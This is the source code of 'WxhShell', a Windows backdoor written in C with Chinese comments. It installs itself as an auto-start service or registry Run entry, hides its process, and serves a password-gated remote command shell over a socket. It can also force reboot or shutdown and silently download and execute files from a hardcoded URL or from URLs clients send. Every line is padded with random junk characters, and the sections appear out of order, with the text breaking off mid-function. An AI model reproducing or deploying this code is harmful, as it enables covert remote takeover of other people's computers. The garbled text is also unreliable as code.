  case 'd': { fz9 ,p;b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vtm?x,h  
    if(Boot(SHUTDOWN)) GKT^rc-YT-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nm8XHk]  
    else { t08E 2sI  
    closesocket(wsh); u3[A~V|0=  
    ExitThread(0); )BJ Z{E*  
    } X:0-FCT;\  
    break; +*'^T)sj/  
    } \& KfIh8  
  // 获取shell >[$j(k^  
  case 's': { HVG:q#=C  
    CmdShell(wsh); E8`AU<  
    closesocket(wsh); L}*s_'_e^>  
    ExitThread(0); Cyn_UE  
    break; @4ccZ&`  
  } B1u.aa$  
  // 退出 x_X%| f  
  case 'x': { AA&5wDMV>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i_[nW  
    CloseIt(wsh); "\CUHr9k  
    break; `dGcjLs Iz  
    } PQ}owEJ2eM  
  // 离开 vrGx<0$  
  case 'q': { rAuv`.qEV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r_p4pxs  
    closesocket(wsh); 9i8 ~  
    WSACleanup(); 7uI~Xo ?N  
    exit(1); y} .?`/Q#  
    break; W%&[gDp  
        } 0q !  
  } ?'jRUfl   
  } s)eU^4m  
UtpK"U$XOU  
  // 提示信息 R9-Ps qmF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3-%F)@n  
} ML)5nJD  
  } x5Z(_hU  
s|q]11r+H  
  return; -9X#+-  
} uhf% z G  
RaX :&PE  
// shell模块句柄 @pn<x"F5'  
int CmdShell(SOCKET sock) !! \O B6  
{ It@1!_tO2  
STARTUPINFO si; xGBp+j1H  
ZeroMemory(&si,sizeof(si)); W "}Cfv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?h1r6?Sug{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]ssX,1#Xh  
PROCESS_INFORMATION ProcessInfo; DO5H(a  
char cmdline[]="cmd"; vIK+18v7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7)FI_uW  
  return 0; Y/Dah*  
} Ln3<r&&Jz  
Y6R+i0guz  
// 自身启动模式 =Felo8+   
int StartFromService(void) iN]#XIQ%  
{ b-Uy&+:X*d  
typedef struct |s}7<A  
{ =D}]|ie  
  DWORD ExitStatus; (& =gM  
  DWORD PebBaseAddress; =0" Zse,  
  DWORD AffinityMask; 6M)4v{F  
  DWORD BasePriority; 1|Q-|jq`  
  ULONG UniqueProcessId; $!m (S&f  
  ULONG InheritedFromUniqueProcessId; wpW3%r;9  
}   PROCESS_BASIC_INFORMATION; XW2{I.:in>  
Dau'VtzN  
PROCNTQSIP NtQueryInformationProcess; Bq# l8u  
exfJm'R?n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )r +o51gp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xBevf&tP  
/z(;1$Ld6{  
  HANDLE             hProcess; V39`J*fI  
  PROCESS_BASIC_INFORMATION pbi; 4w)aAXK  
Q!&@aKl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $,&3:ke1  
  if(NULL == hInst ) return 0; nN|1cJ'.Fk  
`{ 6K~(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )RZ:\:c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .~L^h/)Gjy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'UN 'gXny  
JIYZ  
  if (!NtQueryInformationProcess) return 0; Q9C; _Up  
X1J'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |."thTO  
  if(!hProcess) return 0; u,f$cR  
9-6E(D-ux  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q<2b,w==  
YH .+(tNv  
  CloseHandle(hProcess); YYzl"<)c  
zo{WmV7[|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NR@n%p  
if(hProcess==NULL) return 0; }o  {6  
.on}F>3k$  
HMODULE hMod; {rE]y C^  
char procName[255]; + NpH k  
unsigned long cbNeeded; Oj`I=O6  
x[w!buV0\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k NnI$(H"H  
Dg_AoC  
  CloseHandle(hProcess); %Q2<bj]  
iAWd 9x  
if(strstr(procName,"services")) return 1; // 以服务启动 __Tg1A  
3ug-cq  
  return 0; // 注册表启动 /"LcW"2;N  
} d0"Xlle ld  
v? VNWK2  
// 主模块 '*XX|\.  
int StartWxhshell(LPSTR lpCmdLine) g,,'Pdd7Pn  
{ $RJpn]d j  
  SOCKET wsl; qL 0{w7  
BOOL val=TRUE; k#Bq8d  
  int port=0; }c1?:8p  
  struct sockaddr_in door; r:QLO~l/  
N7WQ{/PSG  
  if(wscfg.ws_autoins) Install(); nYF;.k  
)vcyoq  
port=atoi(lpCmdLine); tI-u@ g  
ZY Ci&l  
if(port<=0) port=wscfg.ws_port; p~!UE/V  
fSL'+l3  
  WSADATA data; 7yDWcm_y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G$HXc$OY  
Y8$,So>~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _,C>+dv)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0wlKBwf`J  
  door.sin_family = AF_INET; LE1#pB3TG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F]4JemSjK  
  door.sin_port = htons(port); QT\=>,Fz _  
u+ ?Wm40E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dRXEF6G  
closesocket(wsl); FWJhi$\:D]  
return 1; .dvOUt I[  
} -%g&O-i\  
L=1~)>mP  
  if(listen(wsl,2) == INVALID_SOCKET) { |[lmW%  
closesocket(wsl); BA 9c-Ay  
return 1;  q(C <w  
} {*jo,<4ee  
  Wxhshell(wsl); (aQNe{D#  
  WSACleanup(); },W<1*|  
X\yy\`o  
return 0; 4sCzUvI~Y1  
5 ?{ytNCY  
} `Zm- F  
F CbU> 1R  
// 以NT服务方式启动 dQkp &.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ys#V_ysb  
{ R3`h$`G  
DWORD   status = 0; `YinhO:Z  
  DWORD   specificError = 0xfffffff; + yF._Ie=  
f#mcW L1}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GqT 0SP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jLy3c@Dp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y>l92=G  
  serviceStatus.dwWin32ExitCode     = 0; z|5Sy.H>  
  serviceStatus.dwServiceSpecificExitCode = 0; s?g`ufF.t  
  serviceStatus.dwCheckPoint       = 0; {@7{!I|eD  
  serviceStatus.dwWaitHint       = 0; s,*kWy"jp  
6L)]nE0^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q-qM"8I  
  if (hServiceStatusHandle==0) return; P t)Ni  
8>KBh)q  
status = GetLastError(); "yo~;[  
  if (status!=NO_ERROR) (r]3tGp  
{ _K#LOSMfj/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :nPLQqXGQ  
    serviceStatus.dwCheckPoint       = 0; pg4J)<t#  
    serviceStatus.dwWaitHint       = 0; X^!1MpEQ  
    serviceStatus.dwWin32ExitCode     = status; {#]vvO2~$  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,8vqzI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pFZ2(b&  
    return; 2Y`C\u  
  } @0 mR_\u\  
c2aW4 TX2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .-[d6Pnw  
  serviceStatus.dwCheckPoint       = 0; ha%3%O8Z  
  serviceStatus.dwWaitHint       = 0; mK>c+ u)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _?+gfi+  
} 5^}"Tn4I  
ycr\vn t  
// 处理NT服务事件,比如:启动、停止 T/$6ov+K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z^ e?V7q  
{ h ?Ni5  
switch(fdwControl) JQp::,g  
{ ,vnHEY&  
case SERVICE_CONTROL_STOP: 4%]wd}'#Un  
  serviceStatus.dwWin32ExitCode = 0; bc{ {a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EC]b]'._  
  serviceStatus.dwCheckPoint   = 0; #:5vN-9?  
  serviceStatus.dwWaitHint     = 0; lg(*:To3B  
  { )l|/lj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ca?:x tt  
  } Pl>S1  
  return; t5qNfiKC  
case SERVICE_CONTROL_PAUSE: VEuT!^0Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jbmi[` O  
  break; \"X<\3z2  
case SERVICE_CONTROL_CONTINUE: }!W,/=z*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )225ee>  
  break; bi^Xdu  
case SERVICE_CONTROL_INTERROGATE: Buue][[  
  break; ];vEj*jCX  
}; c5($*tTT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); has \W\(  
} ^F*G  
{}#W~1`  
// 标准应用程序主函数 +] .Zs<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T/A[C  
{ #})OnM^],  
M u>G gQSZ  
// 获取操作系统版本 w,<nH:~  
OsIsNt=GetOsVer(); xux j  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  bK7j"  
sI7<rI.t){  
  // 从命令行安装 <ah!!  
  if(strpbrk(lpCmdLine,"iI")) Install(); BaLvlB  
RbY=O OQ  
  // 下载执行文件 |@rPd=G^(/  
if(wscfg.ws_downexe) { ep<O?7@j-G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ["N)=d|LS  
  WinExec(wscfg.ws_filenam,SW_HIDE); Td7=La0   
} :dZq!1~t  
+8rG Stv  
if(!OsIsNt) { I1IuvH6  
// 如果时win9x,隐藏进程并且设置为注册表启动 N<e=!LV  
HideProc(); '\&t3?;  
StartWxhshell(lpCmdLine); z^KMYvH g  
} e)Be*J]4  
else " ^t3VjN  
  if(StartFromService()) u+&t"B  
  // 以服务方式启动 &at^~ o  
  StartServiceCtrlDispatcher(DispatchTable); }i"\?M  
else xUiSAKrcM  
  // 普通方式启动 4490l"  
  StartWxhshell(lpCmdLine);  &Ow[  
z/B[quSio  
return 0; K KPQ[3g  
} Y6>@zznk  
#LGAvFA*_F  
~w&_l57  
fG+/p 0sJ?  
=========================================== Q*W`mFul  
)YP"\E  
C6$F.v  
* [\H)Lz  
rW.o_z03^  
&.> 2@  
" aSKLSl't`  
s$V'|Pt  
#include <stdio.h>  8>}k5Qu  
#include <string.h> QO0#p1fom'  
#include <windows.h> tSP)'N<  
#include <winsock2.h> n#{z"G  
#include <winsvc.h> Qx B0I/ {  
#include <urlmon.h> |wnXBKV(  
)} I>"n  
#pragma comment (lib, "Ws2_32.lib") $IM}d"/9  
#pragma comment (lib, "urlmon.lib") N^)\+*tf1  
d)_fI*:f  
#define MAX_USER   100 // 最大客户端连接数 m0: IFE($  
#define BUF_SOCK   200 // sock buffer QoGvjf3z  
#define KEY_BUFF   255 // 输入 buffer W[+=_B  
|>/T*zk<  
#define REBOOT     0   // 重启 *Zj2*e{Z9U  
#define SHUTDOWN   1   // 关机 :sf(=Y.qA  
p~n62(  
#define DEF_PORT   5000 // 监听端口 W? `%it5  
-HE@wda  
#define REG_LEN     16   // 注册表键长度 ^ #6Ei9di  
#define SVC_LEN     80   // NT服务名长度 d".Xp4}f  
gPo3jwo$  
// 从dll定义API |#y+iXTJ   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z'FpP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E{Tvjh+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _{eH" ,(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >uu ]K  
zA~aiX  
// wxhshell配置信息 %\ifnIQ  
struct WSCFG { o=&tT,z  
  int ws_port;         // 监听端口 p\"WX  
  char ws_passstr[REG_LEN]; // 口令 lURL;h  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6X2~30pdE  
  char ws_regname[REG_LEN]; // 注册表键名 ;tBc&LJ?  
  char ws_svcname[REG_LEN]; // 服务名 Lrr1) h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $Ur-Q d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wM]j#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0R#T3K}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I;Sg 9`k=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pb\W7G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >=T\=y  
.L#xX1qr  
}; l8$7N=Y  
L.cGt"{  
// default Wxhshell configuration ~{8X$xs  
struct WSCFG wscfg={DEF_PORT, ,%bG]5  
    "xuhuanlingzhe", Yv!r>\#0S  
    1, ._6|epJ#  
    "Wxhshell", >+9f{FP 9  
    "Wxhshell", Tlz $LI  
            "WxhShell Service", T6P9Icv?@7  
    "Wrsky Windows CmdShell Service", ;Q1/53Y<  
    "Please Input Your Password: ", w9Eb\An  
  1, MPexc5_  
  "http://www.wrsky.com/wxhshell.exe", m(CbMu  
  "Wxhshell.exe" 6 4fB$  
    }; =;) M+"  
ogOUrJ}P  
// 消息定义模块 e >OYJd0s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xu]>TC1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j06Xz\c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l$>))cW!  
char *msg_ws_ext="\n\rExit."; {J?#KHF'|  
char *msg_ws_end="\n\rQuit."; x ]6wiV  
char *msg_ws_boot="\n\rReboot..."; qoifzEc`U  
char *msg_ws_poff="\n\rShutdown..."; ug|'}\LY  
char *msg_ws_down="\n\rSave to "; *c 0\<BI  
i uNBw]  
char *msg_ws_err="\n\rErr!"; B!;qz[]I  
char *msg_ws_ok="\n\rOK!"; AP2BND9  
cAL*Md8+  
char ExeFile[MAX_PATH]; "TLY:V  
int nUser = 0; YFGQPg  
HANDLE handles[MAX_USER]; SWrt4G  
int OsIsNt; ,X&(BQj h  
.y)Y20=o!  
SERVICE_STATUS       serviceStatus; XDot3)2`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; voD0 u  
>h[ {_+  
// 函数声明 A#WvN>  
int Install(void); SEL7,8 Hm  
int Uninstall(void); bnm3 cR:h"  
int DownloadFile(char *sURL, SOCKET wsh); miq"3  
int Boot(int flag); gvoo1 Sa  
void HideProc(void); ;&A%"8o  
int GetOsVer(void); kOQq+_Y  
int Wxhshell(SOCKET wsl); ZjOUk;H?  
void TalkWithClient(void *cs); `;:zZ8*  
int CmdShell(SOCKET sock); B?-~f^*,jG  
int StartFromService(void); a2z1/Nh  
int StartWxhshell(LPSTR lpCmdLine); hv6w=?7  
8.g (&F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +FYQ7UE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^T{ww=/v  
3hPj;-u  
// 数据结构和表定义 x'uxSeH$  
SERVICE_TABLE_ENTRY DispatchTable[] = M.[A%_|P  
{ r N.<S[  
{wscfg.ws_svcname, NTServiceMain}, P XH"%vVF  
{NULL, NULL} MV~-']2u  
}; :'t+*{ff  
W{{{c2 .  
// 自我安装 VkD8h+)  
int Install(void) C4`u3S  
{ ,^>WC G  
  char svExeFile[MAX_PATH]; Gp PlO]  
  HKEY key; ]h`<E~  
  strcpy(svExeFile,ExeFile); k *#fN(_  
z1WF@ Ej  
// 如果是win9x系统,修改注册表设为自启动 Hf ]w  
if(!OsIsNt) { {|jrYU.k~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4)IRm2G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %"1*,g{  
  RegCloseKey(key); MmvMuX]#)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (16U]s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?9?eA^X%  
  RegCloseKey(key); 6?CBa]QG  
  return 0; =LsW\.T6  
    } (Vvs:h%H  
  } Ep@NT+VnI  
} //ZYN2lT4  
else { s*XwU  
b')Lj]%;k  
// 如果是NT以上系统,安装为系统服务 =,UuQJ,l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l5}b.B^w  
if (schSCManager!=0) Rzolue 8  
{ ,%L>TD'48s  
  SC_HANDLE schService = CreateService <gdKuoY  
  ( '%D$|)  
  schSCManager, /{j")  
  wscfg.ws_svcname, oI!L2  
  wscfg.ws_svcdisp, @ZD/y %e  
  SERVICE_ALL_ACCESS, T9c=As_EM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n1Y3b~E?E  
  SERVICE_AUTO_START, *>ilT5q  
  SERVICE_ERROR_NORMAL, w^.^XK4v.  
  svExeFile, dV5aIj  
  NULL, S!u`V3-s  
  NULL, Dn}Wsd=  
  NULL, !JkH$~  
  NULL, X+: >&&9  
  NULL X~H ~k1  
  ); 77:s=)   
  if (schService!=0) TC2gl[  
  { $oJ)W@>  
  CloseServiceHandle(schService); [CfA\-gx<f  
  CloseServiceHandle(schSCManager); CUS^j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kH)JBx.  
  strcat(svExeFile,wscfg.ws_svcname); GmA5E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mp{r$tc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,w+}Evp])  
  RegCloseKey(key); $p} /&  
  return 0; WLb *\  
    } u_5O<UP5  
  } xyoh B#'W  
  CloseServiceHandle(schSCManager); Gob;dku  
} ~4{E0om@  
} LGOeBEAMV^  
&SzLEbU!  
return 1; 5&uS700  
} ddR_+B*H  
w84 ] s%y  
// 自我卸载 Mohy;#8Wk  
int Uninstall(void) e' `xU  
{ dXe. 5XC  
  HKEY key; ,r,~1oV<"  
w(P\+ m<%  
if(!OsIsNt) { f> u{e~Q,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I3 %P_oW'  
  RegDeleteValue(key,wscfg.ws_regname); owA0I'|V-A  
  RegCloseKey(key); {GaQV-t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $rZ:$d.C  
  RegDeleteValue(key,wscfg.ws_regname); .45XS>=z#  
  RegCloseKey(key); cI5*`LML1  
  return 0; #&@qmps(T  
  } :\0q\2e[<  
} Se o3a6o  
} +3c!.] o;  
else { x bG'![OX  
%Jrdr`<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NMSpi[dr  
if (schSCManager!=0) UL/|!(s  
{ '.@'^80iQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3b_tK^|'  
  if (schService!=0) i w,F)O  
  { {(DD~~)D  
  if(DeleteService(schService)!=0) { jU#/yM "Y  
  CloseServiceHandle(schService); doCWJ   
  CloseServiceHandle(schSCManager); kXj%thDx  
  return 0; IZm_/  
  } iwHy!Vi-5  
  CloseServiceHandle(schService); s$ ONht  
  } /12D >OK  
  CloseServiceHandle(schSCManager); I6]|dA3G  
} g5EdW=Dt,  
} 0d-w<lg9  
/S]W< 8d  
return 1; 2u[:3K-@,  
} xHml" Y1  
(3RU|4Ks  
// 从指定url下载文件 <JA`e+Bi  
int DownloadFile(char *sURL, SOCKET wsh) dYg}qad5:  
{ L`i#yXR  
  HRESULT hr; +s6 wF{  
char seps[]= "/"; ${$XJs4  
char *token; (8!#<$  
char *file; iL-I#"qT,  
char myURL[MAX_PATH]; eJMD8#  
char myFILE[MAX_PATH]; E)Z$7;N0x  
)e)@_0  
strcpy(myURL,sURL); K8dlECy  
  token=strtok(myURL,seps); ZCQ7xQD  
  while(token!=NULL) Jmb [d\ /D  
  { q%4l!gzF3  
    file=token; 4>4*4!KR}  
  token=strtok(NULL,seps); v-85` h  
  } jafq(t  
VV(>e@Bc4  
GetCurrentDirectory(MAX_PATH,myFILE); 9o.WJ   
strcat(myFILE, "\\"); n6gYZd  
strcat(myFILE, file); S7Xr~5>X  
  send(wsh,myFILE,strlen(myFILE),0); J&{qe@^  
send(wsh,"...",3,0); WgdL^PN(h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?VMj;+'tr  
  if(hr==S_OK) U~8.uldnF  
return 0; S9Fg0E+J  
else w;.'>ORC  
return 1; ZQvpkO7}M  
mMqT-jT  
} -aiQp@^/J  
z8 bDBoD6  
// 系统电源模块 q+{-p?;;  
int Boot(int flag) U[zY0B  
{ \lKiUy/  
  HANDLE hToken; ?Z@FxW  
  TOKEN_PRIVILEGES tkp; XA~Rn>7&H  
r}i<cyL  
  if(OsIsNt) { 4z-sR/d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NyD[9R?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D4yJ:ATO&  
    tkp.PrivilegeCount = 1; 7N^9D H{`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e~r%8.Wm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5_+vjV;5  
if(flag==REBOOT) { -OpI,qyS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4#uWj ?u  
  return 0; PsDks3cG  
} \#5t%t  
else { M}4%LjD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O6P0Am7s  
  return 0; +dm&XW >  
} 9?r|Y@xh]  
  } ~UjFL~K}  
  else { I)ub='+&;  
if(flag==REBOOT) { wVBY^TE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e-4XNL[F  
  return 0; ~R.8r-kD`  
} B&0^3iKFi  
else { b .k J&c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 65VnH=  
  return 0; *LeFI%  
} c/ wzV  
} >Dpz0v  
A)En25,X  
return 1; ]RmQ*F-  
} -6MgC9]  
4-[L^1%S[  
// win9x进程隐藏模块 8WU UE=p  
void HideProc(void) @EzSosmF  
{ )t{oyBT  
chsjY]b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2Z6#3~  
  if ( hKernel != NULL ) GZ\;M6{oh  
  { 58*s\*V` \  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qi|jL*mj&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); buGW+TrWY  
    FreeLibrary(hKernel); 3%m2$\  
  } yk Sn=0  
!v|j C  
return; /-<S FT`  
} zp r`  
<Mo_GTOC!  
// 获取操作系统版本 ahkSEE{  
int GetOsVer(void) |")}p=   
{ [JFmhLP9  
  OSVERSIONINFO winfo; `pF|bZ?v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \pZ,gF;y  
  GetVersionEx(&winfo); z 8M^TV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \4I1wdd|^  
  return 1; Y((s<]7  
  else %y33evX/B  
  return 0; s bd;Kn  
} *52*IRH  
JxI}#iA  
// 客户端句柄模块 L,.Ae i9  
int Wxhshell(SOCKET wsl) .MuS"R{y  
{ !o 2" th  
  SOCKET wsh; Eom|*2vWIC  
  struct sockaddr_in client; `CW8Wj  
  DWORD myID; !<]%V]5[_  
 W-@A  
  while(nUser<MAX_USER) !!_K|}QOE  
{ 9@Yk8  
  int nSize=sizeof(client); S2K_>kvG)~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^AMcZ6!\  
  if(wsh==INVALID_SOCKET) return 1; qSj2=dlW  
A1@tp/L=o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fi+u!Y*3Z  
if(handles[nUser]==0) ZAzn-n  
  closesocket(wsh); T F&xiL^  
else  vrdlI^  
  nUser++; wly#|  
  } |$#u~<r_ w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ol:&cX3G  
LF <fp&C)h  
  return 0; F{ J>=TC  
} Ae:(_UJz  
oC>e'_6_b  
// 关闭 socket npg.*I/>  
void CloseIt(SOCKET wsh) }kI-UEn$EP  
{ on $?c  
closesocket(wsh); |\2z w _o  
nUser--; Adgh:'h  
ExitThread(0); 33|>u+  
} OBi9aFoQ  
:Ts"f*  
// 客户端请求句柄 ( =0W[@k  
void TalkWithClient(void *cs) 2}>jq8Y47  
{ Bv \ihUg/  
:L&Bbw(  
  SOCKET wsh=(SOCKET)cs; =2pGbD;*  
  char pwd[SVC_LEN]; R_\{a*lV0  
  char cmd[KEY_BUFF]; Lv+lLK  
char chr[1]; ;rJR+wpNa  
int i,j; EP&iG%(k  
KZzOs9 s  
  while (nUser < MAX_USER) { }rsD$  
MPA<?  
if(wscfg.ws_passstr) { s;X"E =  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !!4_x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dON 4r2-yC  
  //ZeroMemory(pwd,KEY_BUFF); qI\qpWS\  
      i=0; oL>m}T  
  while(i<SVC_LEN) { wxVf6`  
'YQ"Lf  
  // 设置超时 {NXc<0a(  
  fd_set FdRead; 6ND,4'6  
  struct timeval TimeOut; Zalgg/.  
  FD_ZERO(&FdRead); Kvv&# eO\  
  FD_SET(wsh,&FdRead); ;$l!mv 7  
  TimeOut.tv_sec=8; L=3^A'|  
  TimeOut.tv_usec=0; @26H;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AZt~ \qf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /4+M0Pl  
[c]X) @#S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #o_`$'>  
  pwd=chr[0]; 12DMb9_rp  
  if(chr[0]==0xd || chr[0]==0xa) { [t5:4 Iq  
  pwd=0; 1@RctI_}  
  break; vE7L> 7  
  } BbUZ,X*Y  
  i++; \ }>1$kH;  
    } XWZ *{/u  
^;n,C+  
  // 如果是非法用户,关闭 socket bEP-I5j1t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?dlQE,hB$  
} y562g`"U  
Bx0^?>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qyGVyi3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pL8+gL  
YuSe~~F)j  
while(1) { Dg%zNi2GS  
1uz9zhG><  
  ZeroMemory(cmd,KEY_BUFF); Kc_QxON4  
YOwo\'|=  
      // 自动支持客户端 telnet标准   (o)nN8  
  j=0; . ]0B=w* Z  
  while(j<KEY_BUFF) { .5|AX6p+^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qPuxYU  
  cmd[j]=chr[0]; ]=of=T:  
  if(chr[0]==0xa || chr[0]==0xd) { ==`K$rM  
  cmd[j]=0; o Q I3Yz  
  break; sguE{!BO  
  } +b1(sk=4z  
  j++; U0t/(Jyg  
    } ?~uTbNR  
rcMV YSj0  
  // 下载文件 1i4KZ"A5+  
  if(strstr(cmd,"http://")) { Y>geP+ -  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %@3AA<  
  if(DownloadFile(cmd,wsh)) >w+WG0Z K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]S<eO6z  
  else wQWokpP;T7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4_3Jpz*  
  } o $oW-U  
  else { zg+78  
